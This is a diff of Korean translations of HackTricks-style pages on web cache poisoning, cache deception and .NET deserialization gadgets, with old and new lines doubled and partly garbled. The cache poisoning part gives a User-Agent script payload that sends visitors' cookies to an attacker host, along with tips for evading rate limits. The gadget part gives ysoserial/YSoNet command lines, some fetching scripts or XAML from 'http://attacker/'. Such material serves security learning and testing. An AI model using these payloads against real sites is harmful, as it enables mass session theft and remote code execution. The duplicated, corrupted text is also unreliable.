3) CDN/WAF 라우팅 레이스와 auto-cached `.js`가 결합되어 종종 포이즈닝된 캐시된 HTML 변형을 주입하며, 이는 동일한 캐시 키 조건(예: `User-Agent` 같은 동일한 `Vary` 차원)을 공유하는 다른 방문자들에게 제공됩니다.
1) 깨끗한 IP에서(이전에 평판 기반으로 다운그레이드된 적이 없는 IP 사용) 브라우저나 Burp Proxy의 Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
2) Burp Repeater에서 두 개의 요청을 준비하고 "Send group in parallel"(single-packet mode 권장)를 사용합니다:
- 첫 번째 요청: 동일 오리진의 `.js` 리소스 경로에 대해 악성 `User-Agent`를 보내며 GET 요청을 보냅니다.
- 즉시 이어서: 메인 페이지(`/`)에 대해 GET을 보냅니다.
3) CDN/WAF의 라우팅 경쟁과 자동 캐시된 `.js`가 결합되어 종종 오염된 캐시된 HTML variant를 시드하며, 이는 동일한 캐시 키 조건(예: `Vary` 차원으로서의 `User-Agent`)을 공유하는 다른 방문자들에게 제공됩니다.
Example header payload (to exfiltrate non-HttpOnly cookies):
```
@ -186,19 +185,19 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
```
Operational tips:
- 많은 CDN은 캐시 헤더를 숨긴다; poisoning은 몇 시간 단위의 갱신 주기에서만 나타날 수 있다. 여러 위치의 IP를 사용하고 rate-limit 또는 평판 트리거를 피하기 위해 요청 속도를 제한하라.
- CDN의 자체 cloud에 속한 IP를 사용하면 라우팅 일관성이 향상될 때가 있다.
- 엄격한 CSP가 존재하더라도, reflection이 메인 HTML 컨텍스트에서 실행되고 CSP가 inline 실행을 허용하거나 컨텍스트로 우회되는 경우에는 여전히 작동한다.
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- Using an IP from the CDN's own cloud sometimes improves routing consistency.
- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
Impact:
- 세션 쿠키가 `HttpOnly`로 설정되어 있지 않다면, poisoned HTML을 제공받는 모든 사용자로부터 `document.cookie`를 mass-exfiltrating함으로써 zero-click ATO가 가능하다.
- If session cookies arent `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
Defenses:
- 요청 헤더를 HTML로 반영하는 것을 중단하라; 불가피하면 반드시 컨텍스트에 맞게 인코딩하라. CDN과 origin의 캐시 정책을 일치시키고 신뢰할 수 없는 헤더에 따라 vary하지 않도록 하라.
- WAF가 `.js` 요청 및 정적 경로에 대해 일관되게 콘텐츠 검사를 적용하는지 확인하라.
- 세션 쿠키에 `HttpOnly` (및 `Secure`, `SameSite`)를 설정하라.
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
@ -209,59 +208,59 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
항목은 공격자가 선택한 캐시 키 아래에 임의의 HTML을 기록하여, 캐시 키가 알려지면 정확한 poisoning이 가능하게 만듭니다.
것은 공격자가 선택한 cache key 하에 임의의 HTML을 기록하여, cache key가 알려지면 정확한 poisoning을 가능하게 만듭니다.
자세한 내용(캐시 키 구성, ItemService 열거 및 chained postauth deserialization RCE)은 다음을 참고하세요:
전체 세부사항( cache key 구성, ItemService 열거 및 chained postauth deserialization RCE)은 다음을 참조하세요:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## 취약한 예
## 취약한 예
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS는 URL 내부의 fragment를 제거하지 않고 전달했으며, cache key는 fragment를 무시하고 host, path, query만을 사용해 생성했습니다. 따라서 요청 `/#/../?r=javascript:alert(1)`는 백엔드로 `/#/../?r=javascript:alert(1)` 그대로 전송되었고, 캐시 키에는 payload가 포함되지 않고 host, path, query만 포함되었습니다.
ATS는 URL 내부의 fragment를 제거하지 않고 그대로 전달했으며, cache key를 host, path, query만 사용해 생성했습니다( fragment는 무시). 그래서 요청 `/#/../?r=javascript:alert(1)`는 백엔드로 `/#/../?r=javascript:alert(1)`로 전송되었고, cache key에는 페이로드가 포함되지 않았으며 host, path, query만 있었습니다.
### GitHub CP-DoS
content-type header에 잘못된 값을 보내면 405 cached response가 발생했습니다. 캐시 키에 cookie가 포함되어 있어 공격은 인증되지 않은 사용자에게만 가능했습니다.
content-type 헤더에 잘못된 값을 보내면 405 캐시된 응답을 발생시켰습니다. cache key에 cookie가 포함되어 있었기 때문에 비인증 사용자만 공격 대상이 될 수 있었습니다.
### GitLab + GCP CP-DoS
GitLab은 정적 콘텐츠를 저장하기 위해 GCP buckets를 사용합니다. **GCP Buckets**는 **header `x-http-method-override`**를 지원합니다. 그래서 `x-http-method-override: HEAD` 헤더를 전송해 캐시를 poison하여 빈 응답 본문을 반환하도록 만들 수 있었습니다. 또한 `PURGE` 메서드도 지원될 수 있습니다.
GitLab은 정적 컨텐츠를 저장하기 위해 GCP buckets를 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 `x-http-method-override: HEAD` 헤더를 보내 cache를 비우고 빈 응답 본문을 반환하도록 중독할 수 있었습니다. `PURGE` 메서드도 지원될 수 있습니다.
### Rack Middleware (Ruby on Rails)
Ruby on Rails 애플리케이션에서 Rack middleware가 자주 사용됩니다. 해당 Rack 코드는 **`x-forwarded-scheme`** 헤더의 값을 가져와 요청의 scheme으로 설정하는 역할을 합니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 redirect가 발생해 해당 리소스에 대한 Denial of Service (DoS)를 일으킬 수 있습니다. 추가로, 애플리케이션이 `X-forwarded-host` 헤더를 인정하고 사용자를 지정된 호스트로 리다이렉트할 수 있습니다. 이러한 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 만들어 보안 위험을 초래할 수 있습니다.
Ruby on Rails 애플리케이션에서 Rack middleware가 자주 사용됩니다. Rack 코드는 **`x-forwarded-scheme`** 헤더 값을 가져와 요청의 스킴으로 설정합니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 리다이렉트가 발생하여 해당 리소스에 대한 DoS를 유발할 수 있습니다. 또한 애플리케이션이 `X-forwarded-host` 헤더를 인정해 사용자를 지정된 호스트로 리다이렉트할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 만들어 보안 위험을 초래할 수 있습니다.
### 403 and Storage Buckets
### 403 Storage Buckets
Cloudflare는 과거에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3나 Azure Storage Blobs에 접근을 시도하면 403 응답이 발생했고 그 응답이 캐시되곤 했습니다. Cloudflare는 403 응답 캐싱을 멈췄지만, 다른 프록시 서비스에서는 여전히 이 동작이 존재할 수 있습니다.
Cloudflare는 과거에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3나 Azure Storage Blobs에 접근을 시도하면 403 응답이 발생했고 이 응답이 캐시되었습니다. Cloudflare는 이제 403 응답을 캐시하지 않지만, 다른 프록시 서비스에서는 여전히 이러한 동작이 남아 있을 수 있습니다.
### Injecting Keyed Parameters
### Keyed Parameters 삽입
캐시는 종종 특정 GET 파라미터를 캐시 키에 포함합니다. 예를 들어 Fastly의 Varnish는 요청의 `size` 파라미터를 캐시했습니다. 그러나 URL-encoded 된 버전의 파라미터(e.g., `siz%65`)를 잘못된 값과 함께 전송하면 캐시 키는 올바른 `size` 파라미터를 사용해 구성되는 반면, 백엔드는 URL-encoded 파라미터의 값을 처리했습니다. 두 번째 `size` 파라미터를 URL-encoding 하면 캐시에서는 생략되지만 백엔드에서는 사용되게 됩니다. 이 파라미터에 0 값을 할당하면 캐시 가능한 400 Bad Request 에러가 발생했습니다.
캐시는 종종 특정 GET 파라미터를 cache key에 포함합니다. 예를 들어 Fastly의 Varnish는 요청에서 `size` 파라미터를 캐시했습니다. 그러나 URL-encoded된 버전(e.g., `siz%65`)이 잘못된 값과 함께 전송되면 cache key는 올바른 `size` 파라미터를 사용해 구성됩니다. 반면 백엔드는 URL-encoded된 파라미터의 값을 처리합니다. 두 번째 `size` 파라미터를 URL-encoding하면 cache에서는 누락되지만 백엔드에서는 사용됩니다. 이 파라미터에 0을 할당하면 캐시 가능한 400 Bad Request 오류가 발생했습니다.
### User Agent Rules
### User Agent 규칙
일부 개발자는 FFUF나 Nuclei 같은 고트래픽 도구의 user-agent와 매칭되는 요청을 차단해 서버 부하를 관리합니다. 아이러니하게도 이런 접근은 cache poisoning 및 DoS와 같은 취약점을 도입할 수 있습니다.
일부 개발자는 FFUF나 Nuclei와 같은 고트래픽 도구들의 user-agent를 차단해 서버 부하를 관리합니다. 아이러니하게도 이런 접근 방식은 cache poisoning이나 DoS 같은 취약점을 초래할 수 있습니다.
### Illegal Header Fields
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230)은 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위 밖의 문자를 포함한 헤더는 이상적으로는 400 Bad Request 응답을 유발해야 합니다. 하지만 실제로는 서버가 이 표준을 항상 따르지 않습니다. 주목할 만한 예로 Akamai는 유효하지 않은 문자가 포함된 헤더를 전달하고, `cache-control` 헤더가 없는 한 모든 400 에러를 캐시했습니다. 예를 들어 `\` 같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 에러가 발생하는 패턴이 확인되었습니다.
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어나는 문자를 포함하는 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 실제로는 서버가 항상 이 표준을 따르지 않습니다. 주목할 만한 예는 Akamai로, 잘못된 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 어떤 400 오류든 캐시했습니다. exploitable한 패턴은 `\` 같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 오류가 발생하는 경우였습니다.
### Finding new headers
### 새로운 헤더 찾기
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
Cache Deception의 목표는 클라이언트가 캐시에 저장될 민감한 정보를 포함한 리소스를 로드하게 만드는 것입니다.
우선 `.css`, `.js`, `.png` 등과 같은 확장자는 일반적으로 캐시에 저장되도록 구성되어 있다는 점에 주의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 해당 응답을 확장자를 보고 저장할 가능성이 큽니다. 하지만 애플리케이션이 _www.example.com/profile.php_에 저장된 민감한 사용자 콘텐츠로 응답하고 있다면, 다른 사용자의 그 콘텐츠를 훔칠 수 있습니다.
우선 `.css`, `.js`, `.png` 등과 같은 확장자는 보통 캐시에 저장되도록 설정되어 있다는 점을 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 파일 확장자 `.js`를 보고 응답을 저장할 가능성이 큽니다. 그러나 애플리케이션이 _www.example.com/profile.php_에 저장된 민감한 사용자 내용을 그대로 반환한다면, 다른 사용자의 그 내용을 탈취할 수 있습니다.
다른 테스트 항목:
테스트해볼 다른 항목:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
@ -270,19 +269,19 @@ The goal of Cache Deception is to make clients **load resources that are going t
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
또 다른 명확한 예시는 이 보고서에서 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
해당 예시에서는 _http://www.example.com/home.php/non-existent.css_ 처럼 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(사용자의 민감한 정보 포함)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명합니다.\
그 후 공격자는 자신 브라우저에서 _http://www.example.com/home.php/non-existent.css_ 에 접근해 이전에 접근한 사용자들의 **기밀 정보**를 수 있습니다.
또 다른 명확한 예시는 이 보고서에서 확인할 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
예시에서는 _http://www.example.com/home.php/non-existent.css_ 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(사용자의 민감한 정보 포함)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명합니다.\
그 후 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근해 이전에 접근한 사용자들의 **기밀 정보**를 확인할 수 있습니다.
캐시 프록시가 파일의 content-type이 아닌 파일의 확장자(_.css_)를 기준으로 파일을 캐시하도록 **configured** 되어 있어야 한다는 점에 유의하세요. 예시에서 _http://www.example.com/home.php/non-existent.css_ `text/html` content-type을 가지며 `text/css` mime 타입이 아니게 됩니다.
캐시 프록시가 파일의 확장자(_.css_)를 기준으로 파일을 캐시하도록 **구성**되어 있고 content-type이 아니라 확장자를 기준으로 판단하는지 여부를 확인하세요. 예시에서 _http://www.example.com/home.php/non-existent.css_는 `text/html` content-type을 가지며 `text/css` MIME 타입이 아닐 수 있습니다.
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
HTTP Request Smuggling을 악용한 Cache Deception 공격 수행 방법은 여기에서 학습하세요: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception
## 자동화 도구
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner로 URL 목록에서 web cache poisoning 취약점을 찾아 여러 주입 기법을 테스트합니다.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang 기반 스캐너로, URL 목록에서 web cache poisoning 취약점을 찾고 다양한 주입 기법을 테스트합니다.
## References
## 참고자료
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
이 글은 **ObjectDataProvider 가젯이 어떻게 악용되어 RCE를 얻는지**와 **Json.Net 및 xmlSerializer 직렬화 라이브러리가 해당 가젯과 함께 어떻게 남용될 수 있는지**를 이해하는 데 중점을 둡니다.
이 글은 **gadget ObjectDataProvider가 어떻게 악용되어 RCE를 얻는지**와 **Serialization 라이브러리인 Json.Net과 xmlSerializer가 해당 gadget과 함께 어떻게 남용될 수 있는지**를 이해하는 데 집중합니다.
## ObjectDataProvider Gadget
문서에 따르면: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
음, 설명이 애매하니 이 클래스의 어떤 점이 흥미로운지 살펴봅시다: 이 클래스는 **임의의 object를 래핑(wrap)**하고, _**MethodParameters**_를 사용해 **임의의 파라미터를 설정**하며, 그 다음 **MethodName을 사용해 임의의 object에 선언된 임의의 함수를 호출**할 수 있게 해줍니다.\
따라서, 역직렬화되는 동안 임의의 **object**가 **파라미터와 함께 함수**를 **실행**하게 됩니다.
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
네, 설명이 조금 애매하니 이 클래스에 무엇이 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑(wrap)**하고, _**MethodParameters**_를 사용해 **임의의 파라미터를 설정**할 수 있으며, 그 다음 **MethodName을 사용해 임의의 객체의 임의의 함수를 임의의 파라미터로 호출**할 수 있습니다.\
따라서, 역직렬화되는 동안 임의의 **object**가 **파라미터와 함께 함수**를 **실행**하게 됩니다.
### **How is this possible**
이 클래스는 **PresentationFramework.dll**의 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **System.Windows.Data** 네임스페이스에 정의되어 구현되어 있습니다.
The **System.Windows.Data** namespace는 **PresentationFramework.dll**의 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 위치하며, ObjectDataProvider가 정의되고 구현된 곳입니다.
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드를 검사(inspect)**할 수 있습니다. 아래 이미지에서는 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드**를 **살펴볼 수** 있습니다. 아래 이미지에서는 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
![](<../../images/image (427).png>)
보시다시피 `MethodName`이 설정되면 `base.Refresh()`가 호출됩니다. 이것이 무엇을 하는지 살펴봅시다:
보시는 것처럼 `MethodName`이 설정되면 `base.Refresh()`가 호출됩니다. 이게 무엇을 하는지 살펴보겠습니다:
![](<../../images/image (319).png>)
자, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 보겠습니다. `BeginQuery``ObjectDataProvider`에서 재정의되며 다음과 같은 동작을 합니다:
이제 `this.BeginQuery()`가 무엇을 하는지 계속 보겠습니다. `BeginQuery``ObjectDataProvider`에서 오버라이드되어 있으며 다음과 같은 동작을 합니다:
![](<../../images/image (345).png>)
코드 끝에서 `this.QueryWorke(null)`를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 보겠습니다:
코드 끝부분에서 `this.QueryWorke(null)`를 호출하는 것을 볼 수 있습니다. 그 호출이 무엇을 실행하는지 보겠습니다:
![](<../../images/image (596).png>)
이것이 `QueryWorker` 함수의 전체 코드는 아니지만 흥미로운 부분을 보여줍니다: 코드가 **`this.InvokeMethodOnInstance(out ex);`를 호출**하고 있으며, 이 라인이 **설정된 메서드가 호출되는** 부분입니다.
단순히 _**MethodName**_을 설정하는 것만으로 **해당 메서드가 실행되는지** 확인하고 싶다면, 다음 코드를 실행해 볼 수 있습니다:
만약 단지 _**MethodName**_을 설정하는 것만으로 해당 메서드가 실행되는지를 확인하고 싶다면, 다음 코드를 실행해 볼 수 있습니다:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
참고: `System.Windows.Data`를 로드하려면 참조로 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 를 추가해야 합니다.
## ExpandedWrapper
이전 익스플로잇을 사용할 때, **object**가 _**ObjectDataProvider**_ 인스턴스로 **deserialized as** 되는 경우가 있습니다 (예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체를 `GetType`으로 역직렬화한 경우). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 타입(예: `Process`)에 대해 **전혀 알지 못하게 됩니다**. DotNetNuke 취약점에 대한 자세한 내용은 [여기](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)에서 확인할 수 있습니다.
이전 익스플로잇을 사용할 때, 일부 경우에는 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 수 있습니다 (예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체가 `GetType`으로 역직렬화된 경우). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 타입(예: `Process`)에 대해 **전혀 알 수 없습니다**. DotNetNuke vuln에 대한 자세한 내용은 [여기](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)에서 확인할 수 있습니다.
이 클래스는 특정 인스턴스에 캡슐화된 객체들의 타입을 s**지정할 수 있도록 합니다**. 따라서 이 클래스는 소스 객체 (_ObjectDataProvider_)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
앞에서 제시한 경우와 같이 이 방법은 매우 유용합니다. 왜냐하면 우리는 **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ 인스턴스할 수 있고, **when deserialized** 되었을 때 이 클래스는 _**OjectDataProvider**_ 객체를 **create** 하여 _**MethodName**_에 지정된 **function**을 **execute** 하기 때문입니다.
이 클래스는 주어진 인스턴스에 캡슐화된 객체들의 객체 타입을 **지정할 수 있도록** 해줍니다. 따라서 이 클래스는 소스 객체 (_ObjectDataProvider_)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
이전 예에서 제시한 경우에 매우 유용합니다. 왜냐하면 우리는 **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
You can check this wrapper with the following code:
다음 코드를 통해 이 래퍼를 확인할 수 있습니다:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
[official web page](https://www.newtonsoft.com/json)에 따르면 이 라이브러리는 **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**를 지원한다고 명시되어 있다. 따라서 우리가 **deserialize the ObjectDataProvider gadget**할 수 있다면, 단순히 객체를 deserializing 하는 것만으로도 **RCE**를 일으킬 수 있다.
[official web page](https://www.newtonsoft.com/json)에 따르면 이 라이브러리가 **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**를 가능하게 한다고 명시되어 있습니다. 따라서 우리가 **deserialize the ObjectDataProvider gadget**를 수행할 수 있다면, 단지 객체를 deserializing하는 것만으로 **RCE**를 유발할 수 있습니다.
### Json.Net 예제
### Json.Net example
먼저 이 라이브러리를 사용해 객체를 **serialize/deserialize**하는 방법의 예제를 보자:
먼저 이 라이브러리를 사용해 객체를 **serialize/deserialize**하는 방법의 예를 보겠습니다:
```java
using System;
using Newtonsoft.Json;
@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
```
### Json.Net 악용
[ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용해 익스플로잇을 만들었다:
[ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용하여 익스플로잇을 생성했다:
```java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
이 코드에서 **test the exploit**를 실행하면 calc가 실행되는 것을 확인할 수 있습니다:
이 코드에서는 **test the exploit**를 실행해 볼 수 있습니다. 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:
```java
using System;
using System.Text;
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
```
## 고급 .NET Gadget Chains (YSoNet & ysoserial.net)
위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 **안전하지 않은 .NET deserialization**을 수행할 때 악용될 수 있는 수많은 gadget chains 중 하나일 뿐입니다. 현대의 red-team 도구들인 **[YSoNet](https://github.com/irsdl/ysonet)** (그리고 구버전 [ysoserial.net](https://github.com/pwntester/ysoserial.net))은 수십 가지 gadget과 여러 serialization 포맷에 대해 **즉시 사용 가능한 악성 객체 그래프**를 자동으로 생성합니다.
위에서 소개한 ObjectDataProvider + ExpandedWrapper 기법은 애플리케이션이 **unsafe .NET deserialization**을 수행할 때 악용될 수 있는 많은 가젯 체인 중 하나에 불과합니다. 최신 레드팀 도구인 **[YSoNet](https://github.com/irsdl/ysonet)** (및 구버전인 [ysoserial.net](https://github.com/pwntester/ysoserial.net))은 수십 개의 가젯과 직렬화 포맷에 대해 **즉시 사용 가능한 악성 객체 그래프**를 자동으로 생성합니다.
아래는 *YSoNet*에 포함된 가장 유용한 체인들을 요약한 참고표로, 작동 방식에 대한 간단한 설명과 페이로드 생성 예시 명령을 함께 제공합니다.
아래는 *YSoNet*에 포함된 가장 유용한 체인들을 간단히 정리한 참조입니다. 각 체인이 어떻게 동작하는지에 대한 간단한 설명과 페이로드를 생성하는 예제 명령도 함께 제공합니다.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 손상시켜, 실체화되었을 때 delegate가 공격자가 제공한 어떤 메서드(예: `Process.Start`)를 가리키도록 만듭니다. | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 타입 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**합니다. | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`**레거시 XML** 표현을 이용해 `<ColumnMapping>` / `<DataType>` 필드를 채 임의 타입을 인스턴스화합니다(선택적으로 `--spoofedAssembly`로 어셈블리를 위조 가능). | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter들을 연쇄 호출해 `System.CodeDom.Compiler.CompilerResults`에 도달한 뒤, `-c`로 제공된 DLL을 *컴파일*하거나 *로딩*합니다. | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider`를 사용해 제어 가능한 인수로 임의의 정적 메서드를 호출합니다. YSoNet은 악성 XAML을 원격 호스팅하기 위한 편리한 `--xamlurl` 변형을 제공합니다. | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `ScriptBlock``System.Management.Automation.PSObject`임베드하여 PowerShell이 객체를 deserialize할 때 실행되도록 합니다. | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | 핵심 아이디어 / 프리미티브 | 주요 Serializers | YSoNet 한줄 명령 |
|--------------|----------------------------|------------------|------------------|
| **TypeConfuseDelegate** | DelegateSerializationHolder 레코드를 손상시켜 객체화될 때 delegate가 공격자가 제공한 임의의 메서드(예: `Process.Start`)를 가리키게 합니다 | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 `.NET ≥4.8` 타입 필터링을 우회하고 제공된 클래스의 **constructor**를 직접 호출하거나 C# 파일을 즉석에서 **compile**합니다 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`의 레거시 XML 표현을 이용해 `<ColumnMapping>` / `<DataType>` 필드를 채움으로써 임의 타입을 인스턴스화합니다(선택적으로 `--spoofedAssembly`로 어셈블리를 위조 가능) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter를 연쇄 호출하여 `System.CodeDom.Compiler.CompilerResults`에 도달한 뒤, `-c`로 제공된 DLL을 *compile*하거나 *load*합니다 | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider`를 사용해 제어된 인자로 임의의 static 메서드를 호출합니다. YSoNet은 악성 XAML을 원격 호스팅할 수 있는 편리한 `--xamlurl` 변형을 추가합니다 | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | PowerShell이 객체를 역직렬화할 때 실행되는 `ScriptBlock``System.Management.Automation.PSObject`삽입합니다 | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
